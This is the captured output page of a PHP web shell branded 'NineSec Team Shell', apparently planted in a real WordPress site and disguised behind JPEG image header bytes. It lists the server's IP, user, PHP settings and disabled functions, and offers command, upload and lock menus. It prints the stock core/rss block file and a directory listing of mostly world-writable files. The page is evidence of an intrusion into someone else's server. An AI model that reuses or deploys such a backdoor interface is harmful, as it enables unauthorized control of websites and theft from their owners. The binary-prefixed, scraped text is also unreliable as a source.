�����JFIF��������(ICC_PROFILE���������mntrRGB XYZ ������������acsp�������������������������������������-��������������������������������������������������� desc�������trXYZ��d���gXYZ��x���bXYZ������rTRC������(gTRC������(bTRC������(wtpt������cprt������ NineSec Team Shell
NineSec Team Shell
Server IP : 51.38.211.120  /  Your IP : 216.73.216.188
Web Server : Apache
System : Linux bob 5.15.85-1-pve #1 SMP PVE 5.15.85-1 (2023-02-01T00:00Z) x86_64
User : readytorun ( 1067)
PHP Version : 8.0.30
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF
Directory (0755) :  /home/readytorun/domains/demo.readytorun.it/public_html/wp-includes/blocks/columns/../

[  Home  ][  C0mmand  ][  Upload File  ][  Lock Shell  ][  Logout  ]

Current File : /home/readytorun/domains/demo.readytorun.it/public_html/wp-includes/blocks/columns/../rss.php
<?php
/**
 * Server-side rendering of the `core/rss` block.
 *
 * @package WordPress
 */

/**
 * Renders the `core/rss` block on server.
 *
 * @param array $attributes The block attributes.
 *
 * @return string Returns the block content with received rss items.
 */
function render_block_core_rss( $attributes ) {
	if ( in_array( untrailingslashit( $attributes['feedURL'] ), array( site_url(), home_url() ), true ) ) {
		return '<div class="components-placeholder"><div class="notice notice-error">' . __( 'Adding an RSS feed to this site’s homepage is not supported, as it could lead to a loop that slows down your site. Try using another block, like the <strong>Latest Posts</strong> block, to list posts from the site.' ) . '</div></div>';
	}

	$rss = fetch_feed( $attributes['feedURL'] );

	if ( is_wp_error( $rss ) ) {
		return '<div class="components-placeholder"><div class="notice notice-error"><strong>' . __( 'RSS Error:' ) . '</strong> ' . esc_html( $rss->get_error_message() ) . '</div></div>';
	}

	if ( ! $rss->get_item_quantity() ) {
		return '<div class="components-placeholder"><div class="notice notice-error">' . __( 'An error has occurred, which probably means the feed is down. Try again later.' ) . '</div></div>';
	}

	$rss_items  = $rss->get_items( 0, $attributes['itemsToShow'] );
	$list_items = '';
	foreach ( $rss_items as $item ) {
		$title = esc_html( trim( strip_tags( $item->get_title() ) ) );
		if ( empty( $title ) ) {
			$title = __( '(no title)' );
		}
		$link = $item->get_link();
		$link = esc_url( $link );
		if ( $link ) {
			$title = "<a href='{$link}'>{$title}</a>";
		}
		$title = "<div class='wp-block-rss__item-title'>{$title}</div>";

		$date = '';
		if ( $attributes['displayDate'] ) {
			$date = $item->get_date( 'U' );

			if ( $date ) {
				$date = sprintf(
					'<time datetime="%1$s" class="wp-block-rss__item-publish-date">%2$s</time> ',
					esc_attr( date_i18n( 'c', $date ) ),
					esc_attr( date_i18n( get_option( 'date_format' ), $date ) )
				);
			}
		}

		$author = '';
		if ( $attributes['displayAuthor'] ) {
			$author = $item->get_author();
			if ( is_object( $author ) ) {
				$author = $author->get_name();
				$author = '<span class="wp-block-rss__item-author">' . sprintf(
					/* translators: %s: the author. */
					__( 'by %s' ),
					esc_html( strip_tags( $author ) )
				) . '</span>';
			}
		}

		$excerpt = '';
		if ( $attributes['displayExcerpt'] ) {
			$excerpt = html_entity_decode( $item->get_description(), ENT_QUOTES, get_option( 'blog_charset' ) );
			$excerpt = esc_attr( wp_trim_words( $excerpt, $attributes['excerptLength'], ' [&hellip;]' ) );

			// Change existing [...] to [&hellip;].
			if ( '[...]' === substr( $excerpt, -5 ) ) {
				$excerpt = substr( $excerpt, 0, -5 ) . '[&hellip;]';
			}

			$excerpt = '<div class="wp-block-rss__item-excerpt">' . esc_html( $excerpt ) . '</div>';
		}

		$list_items .= "<li class='wp-block-rss__item'>{$title}{$date}{$author}{$excerpt}</li>";
	}

	$classnames = array();
	if ( isset( $attributes['blockLayout'] ) && 'grid' === $attributes['blockLayout'] ) {
		$classnames[] = 'is-grid';
	}
	if ( isset( $attributes['columns'] ) && 'grid' === $attributes['blockLayout'] ) {
		$classnames[] = 'columns-' . $attributes['columns'];
	}
	if ( $attributes['displayDate'] ) {
		$classnames[] = 'has-dates';
	}
	if ( $attributes['displayAuthor'] ) {
		$classnames[] = 'has-authors';
	}
	if ( $attributes['displayExcerpt'] ) {
		$classnames[] = 'has-excerpts';
	}

	$wrapper_attributes = get_block_wrapper_attributes( array( 'class' => implode( ' ', $classnames ) ) );

	return sprintf( '<ul %s>%s</ul>', $wrapper_attributes, $list_items );
}

/**
 * Registers the `core/rss` block on server.
 */
function register_block_core_rss() {
	register_block_type_from_metadata(
		__DIR__ . '/rss',
		array(
			'render_callback' => 'render_block_core_rss',
		)
	);
}
add_action( 'init', 'register_block_core_rss' );

NineSec Team - 2022
Name
Size
Last Modified
Owner
Permissions
Options
..
--
January 15 2025 5:40:42
readytorun
0755
archives
--
September 11 2024 5:18:57
readytorun
0755
audio
--
September 11 2024 5:18:57
readytorun
0755
avatar
--
September 11 2024 5:18:57
readytorun
0755
block
--
September 11 2024 5:18:57
readytorun
0755
button
--
September 11 2024 5:18:57
readytorun
0755
buttons
--
September 11 2024 5:18:57
readytorun
0755
calendar
--
September 11 2024 5:18:57
readytorun
0755
categories
--
September 11 2024 5:18:57
readytorun
0755
code
--
September 11 2024 5:18:57
readytorun
0755
column
--
September 11 2024 5:18:57
readytorun
0755
columns
--
September 11 2024 5:18:57
readytorun
0755
comment-author-name
--
September 11 2024 5:18:57
readytorun
0755
comment-content
--
September 11 2024 5:18:57
readytorun
0755
comment-date
--
September 11 2024 5:18:57
readytorun
0755
comment-edit-link
--
September 11 2024 5:18:57
readytorun
0755
comment-reply-link
--
September 11 2024 5:18:57
readytorun
0755
comment-template
--
September 11 2024 5:18:57
readytorun
0755
comments
--
September 11 2024 5:18:57
readytorun
0755
comments-pagination
--
September 11 2024 5:18:57
readytorun
0755
comments-pagination-next
--
September 11 2024 5:18:57
readytorun
0755
comments-pagination-numbers
--
September 11 2024 5:18:57
readytorun
0755
comments-pagination-previous
--
September 11 2024 5:18:57
readytorun
0755
comments-title
--
September 11 2024 5:18:57
readytorun
0755
cover
--
November 14 2025 9:26:20
readytorun
0755
details
--
September 11 2024 5:18:57
readytorun
0755
embed
--
September 11 2024 5:18:57
readytorun
0755
file
--
September 11 2024 5:18:57
readytorun
0755
footnotes
--
September 11 2024 5:18:57
readytorun
0755
freeform
--
October 25 2025 3:08:29
readytorun
0755
gallery
--
September 11 2024 5:18:57
readytorun
0755
group
--
September 11 2024 5:18:57
readytorun
0755
heading
--
September 11 2024 5:18:57
readytorun
0755
home-link
--
September 11 2024 5:18:57
readytorun
0755
html
--
September 11 2024 5:18:57
readytorun
0755
image
--
September 11 2024 5:18:57
readytorun
0755
latest-comments
--
September 11 2024 5:18:57
readytorun
0755
latest-posts
--
September 11 2024 5:18:57
readytorun
0755
legacy-widget
--
September 11 2024 5:18:57
readytorun
0755
list
--
September 11 2024 5:18:57
readytorun
0755
list-item
--
September 11 2024 5:18:57
readytorun
0755
loginout
--
September 11 2024 5:18:57
readytorun
0755
media-text
--
September 11 2024 5:18:57
readytorun
0755
missing
--
September 11 2024 5:18:57
readytorun
0755
more
--
September 11 2024 5:18:57
readytorun
0755
navigation
--
September 11 2024 5:18:57
readytorun
0755
navigation-link
--
September 11 2024 5:18:57
readytorun
0755
navigation-submenu
--
September 11 2024 5:18:57
readytorun
0755
nextpage
--
September 11 2024 5:18:57
readytorun
0755
page-list
--
September 11 2024 5:18:57
readytorun
0755
page-list-item
--
September 11 2024 5:18:57
readytorun
0755
paragraph
--
September 11 2024 5:19:31
readytorun
0755
pattern
--
September 11 2024 5:18:57
readytorun
0755
post-author
--
September 11 2024 5:18:57
readytorun
0755
post-author-biography
--
September 11 2024 5:18:57
readytorun
0755
post-author-name
--
September 11 2024 5:18:57
readytorun
0755
post-comments-form
--
November 01 2025 8:15:34
readytorun
0755
post-content
--
September 11 2024 5:18:57
readytorun
0755
post-date
--
September 11 2024 5:18:57
readytorun
0755
post-excerpt
--
September 11 2024 5:18:57
readytorun
0755
post-featured-image
--
September 11 2024 5:18:57
readytorun
0755
post-navigation-link
--
September 11 2024 5:18:57
readytorun
0755
post-template
--
September 11 2024 5:18:57
readytorun
0755
post-terms
--
September 11 2024 5:18:57
readytorun
0755
post-title
--
September 11 2024 5:18:57
readytorun
0755
preformatted
--
September 11 2024 5:18:57
readytorun
0755
pullquote
--
September 11 2024 5:18:57
readytorun
0755
query
--
September 11 2024 5:18:57
readytorun
0755
query-no-results
--
September 11 2024 5:18:57
readytorun
0755
query-pagination
--
September 11 2024 5:18:57
readytorun
0755
query-pagination-next
--
September 11 2024 5:18:57
readytorun
0755
query-pagination-numbers
--
September 11 2024 5:18:57
readytorun
0755
query-pagination-previous
--
October 25 2025 3:08:22
readytorun
0755
query-title
--
September 11 2024 5:18:57
readytorun
0755
quote
--
September 11 2024 5:18:57
readytorun
0755
read-more
--
September 11 2024 5:18:57
readytorun
0755
rss
--
September 11 2024 5:18:57
readytorun
0755
search
--
September 11 2024 5:18:57
readytorun
0755
separator
--
September 11 2024 5:18:57
readytorun
0755
shortcode
--
September 11 2024 5:18:57
readytorun
0755
site-logo
--
September 11 2024 5:18:57
readytorun
0755
site-tagline
--
September 11 2024 5:18:57
readytorun
0755
site-title
--
September 11 2024 5:18:57
readytorun
0755
social-link
--
September 11 2024 5:18:57
readytorun
0755
social-links
--
October 14 2024 9:05:58
readytorun
0755
spacer
--
September 11 2024 5:18:57
readytorun
0755
table
--
September 11 2024 5:18:57
readytorun
0755
tag-cloud
--
September 11 2024 5:18:57
readytorun
0755
template-part
--
September 11 2024 5:18:57
readytorun
0755
term-description
--
September 11 2024 5:18:57
readytorun
0755
text-columns
--
September 11 2024 5:18:57
readytorun
0755
verse
--
October 25 2025 3:08:27
readytorun
0755
video
--
September 11 2024 5:18:57
readytorun
0755
widget-group
--
September 11 2024 5:18:57
readytorun
0755
.htaccess
0.124 KB
November 14 2025 9:26:18
readytorun
0444
archives.php
2.458 KB
March 04 2024 2:19:00
readytorun
0777
avatar.php
5.503 KB
November 10 2023 1:05:53
readytorun
0777
block.php
1.566 KB
August 28 2023 5:03:53
readytorun
0777
blocks-json.php
159.815 KB
November 10 2023 1:05:53
readytorun
0777
calendar.php
5.986 KB
November 10 2023 1:05:53
readytorun
0777
categories.php
2.781 KB
August 28 2023 5:03:53
readytorun
0777
comment-author-name.php
2.046 KB
August 28 2023 5:03:52
readytorun
0777
comment-content.php
2.364 KB
August 28 2023 5:03:52
readytorun
0777
comment-date.php
1.559 KB
August 28 2023 5:03:53
readytorun
0777
comment-edit-link.php
1.636 KB
August 28 2023 5:03:53
readytorun
0777
comment-reply-link.php
1.989 KB
August 28 2023 5:03:53
readytorun
0777
comment-template.php
4.352 KB
November 10 2023 1:05:53
readytorun
0777
comments-pagination-next.php
1.811 KB
November 10 2023 1:05:53
readytorun
0777
comments-pagination-numbers.php
1.557 KB
August 28 2023 5:03:53
readytorun
0777
comments-pagination-previous.php
1.607 KB
November 10 2023 1:05:53
readytorun
0777
comments-pagination.php
1.134 KB
August 28 2023 5:03:53
readytorun
0777
comments-title.php
2.67 KB
August 28 2023 5:03:52
readytorun
0777
comments.php
6.469 KB
August 28 2023 5:03:52
readytorun
0777
cover.php
2.452 KB
August 28 2023 5:03:53
readytorun
0777
file.php
3.261 KB
November 10 2023 1:05:53
readytorun
0777
footnotes.php
3.031 KB
November 10 2023 1:05:53
readytorun
0777
gallery.php
4.836 KB
November 10 2023 1:05:53
readytorun
0777
heading.php
1.233 KB
August 28 2023 5:03:52
readytorun
0777
home-link.php
5.192 KB
November 10 2023 1:05:53
readytorun
0777
image.php
14.358 KB
November 10 2023 1:05:53
readytorun
0777
index.php
4.478 KB
November 10 2023 1:05:53
readytorun
0777
latest-comments.php
4.885 KB
August 28 2023 5:03:53
readytorun
0777
latest-posts.php
8.17 KB
November 10 2023 1:05:53
readytorun
0777
legacy-widget.php
3.811 KB
August 28 2023 5:03:52
readytorun
0777
loginout.php
1.348 KB
August 28 2023 5:03:52
readytorun
0777
navigation-link.php
11.649 KB
August 28 2023 5:03:54
readytorun
0777
navigation-submenu.php
8.814 KB
November 10 2023 1:05:53
readytorun
0777
navigation.php
37.307 KB
November 10 2023 1:05:53
readytorun
0777
page-list-item.php
0.334 KB
August 28 2023 5:03:52
readytorun
0777
page-list.php
13.137 KB
August 28 2023 5:03:53
readytorun
0777
pattern.php
1.404 KB
November 10 2023 1:05:53
readytorun
0777
post-author-biography.php
1.414 KB
August 28 2023 5:03:53
readytorun
0777
post-author-name.php
1.705 KB
August 28 2023 5:03:53
readytorun
0777
post-author.php
2.507 KB
August 28 2023 5:03:53
readytorun
0777
post-comments-form.php
2.684 KB
August 28 2023 5:03:52
readytorun
0777
post-content.php
2.068 KB
November 10 2023 1:05:53
readytorun
0777
post-date.php
2.289 KB
August 28 2023 5:03:52
readytorun
0777
post-excerpt.php
3.329 KB
November 10 2023 1:05:53
readytorun
0777
post-featured-image.php
7.374 KB
November 10 2023 1:05:53
readytorun
0777
post-navigation-link.php
4.378 KB
November 10 2023 1:05:53
readytorun
0777
post-template.php
5.521 KB
November 10 2023 1:05:53
readytorun
0777
post-terms.php
3.307 KB
November 10 2023 1:05:53
readytorun
0777
post-title.php
2.019 KB
August 28 2023 5:03:52
readytorun
0777
query-no-results.php
1.711 KB
November 10 2023 1:05:53
readytorun
0777
query-pagination-next.php
3.596 KB
November 10 2023 1:05:53
readytorun
0777
query-pagination-numbers.php
4.409 KB
November 10 2023 1:05:53
readytorun
0777
query-pagination-previous.php
3.052 KB
November 10 2023 1:05:53
readytorun
0777
query-pagination.php
1.111 KB
August 28 2023 5:03:52
readytorun
0777
query-title.php
2.012 KB
August 28 2023 5:03:53
readytorun
0777
query.php
7.163 KB
January 31 2024 5:29:18
readytorun
0777
read-more.php
1.75 KB
August 28 2023 5:03:51
readytorun
0777
require-dynamic-blocks.php
3.852 KB
August 28 2023 5:03:53
readytorun
0777
require-static-blocks.php
0.523 KB
August 28 2023 5:03:54
readytorun
0777
rss.php
3.834 KB
August 28 2023 5:03:51
readytorun
0777
search.php
23.936 KB
November 10 2023 1:05:53
readytorun
0777
shortcode.php
0.681 KB
August 28 2023 5:03:52
readytorun
0777
site-logo.php
5.794 KB
August 28 2023 5:03:52
readytorun
0777
site-tagline.php
0.971 KB
August 28 2023 5:03:51
readytorun
0777
site-title.php
1.729 KB
August 28 2023 5:03:52
readytorun
0777
social-link.php
60.442 KB
November 10 2023 1:05:53
readytorun
0777
tag-cloud.php
1.37 KB
August 28 2023 5:03:54
readytorun
0777
template-part.php
9.436 KB
November 10 2023 1:05:53
readytorun
0777
term-description.php
1.268 KB
August 28 2023 5:03:51
readytorun
0777
widget-group.php
2.115 KB
August 28 2023 5:03:53
readytorun
0777

NineSec Team - 2022